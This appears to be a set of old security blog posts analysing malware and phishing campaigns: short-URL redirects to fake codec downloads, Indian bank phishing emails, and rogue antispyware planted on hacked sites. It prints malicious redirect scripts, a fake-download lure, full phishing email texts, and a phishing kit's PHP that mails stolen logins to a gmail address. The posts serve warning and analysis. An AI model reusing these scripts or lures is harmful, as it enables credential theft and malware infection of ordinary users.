Short Way 2 Malware

Short URL service has been exploited for spreading malware for an long time , here is one example

Hi! Please look at this short video. What are they doing?
tube23441.notlong.com/

 

following message is posted to google group , this redirects to

eusebiotanis.150m.com – this is again a freehosting page

<script>
window.location.href=("hxxp://flashtubes.net/xplay.php?id=45230");
</script>

this loads following malware.

<CENTER><A 
      href="hxxp://freefilesarchive.com/flash-HQ-plugin.45230.exe"><IMG 
      onmouseover="window.status = 'Download Streaming Player Media please!';" 
      
      alt="You must Download and Run Video Controller Object to play this video file." 
      src="img/xplayer.gif" border=0></A> 
      </CENTER></DIV>

Short URL – can lead to malware sites, so beware if you click one.

whois information shows 

Registrant:

    N/A


    Farah F Jones

    2733 Canis Heights Drive

    City Of Commerce


    California,90040

 

Fake – New Orkut

With every new release there is same release of fake to steal user information. Here it is for New orkut.

user would receive spam mail with an invitation to join new orkut. 

 

but link points to .

orkutnew.ning.com/?xgi=31XH2qxBierBjA&xg_source=msg_invite_net

site gets the user orkut profile information ,

this is site hosted to ning service with an malicious intent.

Bank Of India – Phish

With long list of Indian Phishing Bank site , now there is raise of Phishing for “Bank Of India”

Here is mail received with intention to phish

 

Dear Customer,
Bank of India is constantly striving to provide you with more convenience, control, and security to assist in managing your finances.
As part of our ongoing efforts to make it easier and more secure for you to use our online services, we have upgraded to Consent and 
Online Access that you reviewed and accepted when you began-to use Bank of India Online® Banking service(s). 
To upgrade your Information, please visit our secure server webform by clicking the link below...
Upgrade My Account Security.
This alert relates to your Online Banking Profile only.

 

Upgrade My Account Security Links to Following hacked site

harveys.ie/images/inet/boi/BankAwayRetail.html

this site reads and sends the account information to an gmail id using a PHP file.

$recipient = "xxxxxx@gmail.com";
$subject = "boi login";
$headers = "BOI@boi.co.in";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
     
if (mail($recipient,$subject,$message,$headers))
       {
           header("Location: http://www.bankofindia.com/");

       }
else
           {
         echo "ERROR! Please go back and try again.";
         }

More Rouge from Genuine Site

This has become most common infection these days , Rouge Antispyware.Way they spread has varied from Fake codec to Link to a Genuine site with page linked to malicious site.

Here in our case this was a mail send from a hacked yahoo account with link to Hindu Temple Site.

 

hxxp://www.shrikhatushyamji.com/Wvse2KU8VD.html

this page contains the malicious link

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>CONGRATULATIONS</title>
<script language="JavaScript1.1" type="text/javascript">
<!--
location.replace("http://vivilan.cn");
//-->
</script>
<noscript>
<meta http-equiv="Refresh" content="0; URL=http://vivilan.cn"> 
</noscript>
</head>
<body>
<a href="http://vivilan.cn">Click here...</a>
</body>
</html>

From this site it downloads Surprise.exe – Trojan.TDSS–

This install Rouge Antispyware as an Payload.

Google Group Spammed with Rouge Antispyware

Here is the Posting to a google group

 

this link redirects to

hxxp://numberstencils.net/images/www/index.php

above link connected with following rouge antispyware

hxxp://scanonlinesite.info/downloads.php/?aff_id=91&aff_Aid=20106&adult

above fake scanner is loaded from the web page and drops following file.

Following file prompts to run as administrator and here is the manifest

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="requireAdministrator"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>

Punjab National Bank Phishing

 

 

Today Received phishing mail for PNB , this second mail in a week seems rise in phishing for punjab national bank.Here is the content of the mail

“

PUNJAB NATIONAL BANK SECURITY UPDATE

Punjab National Bank is pleased to notify our online banking customers that
we have successfully upgraded to a more secure and encrypted SSL servers
to serve our esteemed customers for a better and more efficient banking
services in the year 2009.

Due to this recent upgrade you are requested to update your Online Banking
information by following the reference below by using our new secure and safe
SSL servers. To Validate and Secure your Online Banking Account click on the
secure Web Form below;

http://www.netbanking.netpnb.com?onlinesecurity-update

”

but link is connected to following link

“hxxp://http://savepix.net/thumbs/punjab/index.htm – > this host the phishing page

 

This site has been hacked reason is found using  Acunetix Web Vulnerability scanner.

 

Yet Again – IFRAMED Site

 

This Time following iframed site comes in top of Google Pages for , “Indian Jewels” with pages hosted from india

hxxp://nacjewellers.com

 

this site has an IFRAME to

hxxp://yournamequickshop.cn:8080/index.php

AS that has this site is

AS29550 EUROCONNEX-AS

 

 

 

So if you are using google to get some sites , beware your  chance of getting infected is high.